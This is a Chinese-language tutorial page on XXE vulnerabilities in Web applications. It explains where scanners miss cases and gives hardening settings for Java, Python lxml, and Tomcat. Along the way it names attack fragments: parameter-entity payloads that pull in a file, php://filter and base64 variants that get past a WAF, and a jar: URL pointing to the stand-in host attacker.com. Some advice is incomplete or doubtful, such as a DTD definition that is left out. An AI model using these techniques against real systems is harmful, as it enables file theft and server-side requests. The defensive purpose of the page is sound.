XML注入漏洞检测工具自动化扫描Web应用XXE风险-XML/RSS教程-PHP中文网

xxe漏洞扫描漏报因工具仅检测doctype中的外部实体，忽略参数实体、内部实体间接引用及xsd引入路径；真实场景中spring boot等应用即使无doctype也可能触发外连。

xml注入漏洞检测工具自动化扫描web应用xxe风险

XXE漏洞扫描为什么总漏报`DOCTYPE`外的实体引用？

因为多数自动化工具只检测显式DOCTYPE声明里的外部实体定义，而忽略parameter entity、internal entity间接触发或XMLSchema中xsd:import带入的实体解析路径。真实业务里，Spring Boot应用用javax.xml.validation.SchemaFactory加载远程XSD时，即使没写DOCTYPE，照样可能触发HTTP外连。

检查工具是否启用http://xml.org/sax/features/external-parameter-entities和http://xml.org/sax/features/external-general-entities开关（JAXP默认false）
手动在测试payload里补全%remote;参数实体引用，再用curl -v确认DNS或HTTP请求是否发出
留意XMLStreamReader这类流式解析器——它不自动解析DOCTYPE，但若上层代码调用getProperty("http://javax.xml.XMLConstants/property/accessExternalDTD")返回all，仍可能被绕过

Python用`defusedxml`防XXE，但`lxml`还在报`EntityReference`错误？

不是defusedxml失效，是它只覆盖xml.etree.ElementTree、minidom等标准库模块；lxml用的是libxml2底层，必须单独配置。而且lxml.etree.XMLParser的resolve_entities=False参数仅禁用通用实体，对参数实体（%name;）无效。

强制设置lxml.etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
若需保留DTD验证，改用load_dtd=True + dtd_validation=True，但必须配合remove_blank_text=True提前剥离注释和空格，否则%INCLUDE可能绕过
检查lxml版本：2.3.6以下存在XMLParser参数被忽略的bug，升级到4.6+更稳

Burp Suite的XXE Scanner插件扫不出`base64`回显型漏洞？

因为插件默认只监控HTTP响应体中的明文关键词（如/etc/passwd），而base64编码的文件内容不会匹配。更麻烦的是，某些WAF会拦截含file://的原始payload，但放行经过base64或php://filter编码的变体。

在Burp Intruder中自定义payload：用xxe.dtd定义，再引用%file;
把Burp的"Match and extract"规则改成正则[A-Za-z0-9+/]{40,}==，捕获长base64串后手动解码
注意目标服务端的XML解析器是否支持php://——Java环境得换jar:http://attacker.com/evil.jar!/META-INF/MANIFEST.MF

为什么`accessExternalDTD="all"`设成`none`还是触发了外连？

这个配置项只控制DTD本身加载，不拦住SYSTEM实体里的URL。真正起作用的是accessExternalSchema（影响XSD）、accessExternalStylesheet（影响XSLT），以及底层libxml2的XML_PARSE_NOENT标志位是否被清除。

JVM启动参数加-Djavax.xml.accessExternalDTD=none -Djavax.xml.accessExternalSchema=none
Tomcat用户额外检查conf/catalina.properties里xml.blockExternal=true是否生效（8.5+默认true，但低版本需手动开）
用strace -e trace=connect,openat java -jar app.jar 2>&1 | grep -E "(http|ftp|file)"直接抓系统调用，比看日志更准

XXE的隐蔽点不在语法多复杂，而在解析器链路太长——从HTTP请求头里的Content-Type决定用哪个解析器，到框架自动注册的EntityResolver，中间任何一环没关严，就等于留了扇虚掩的门。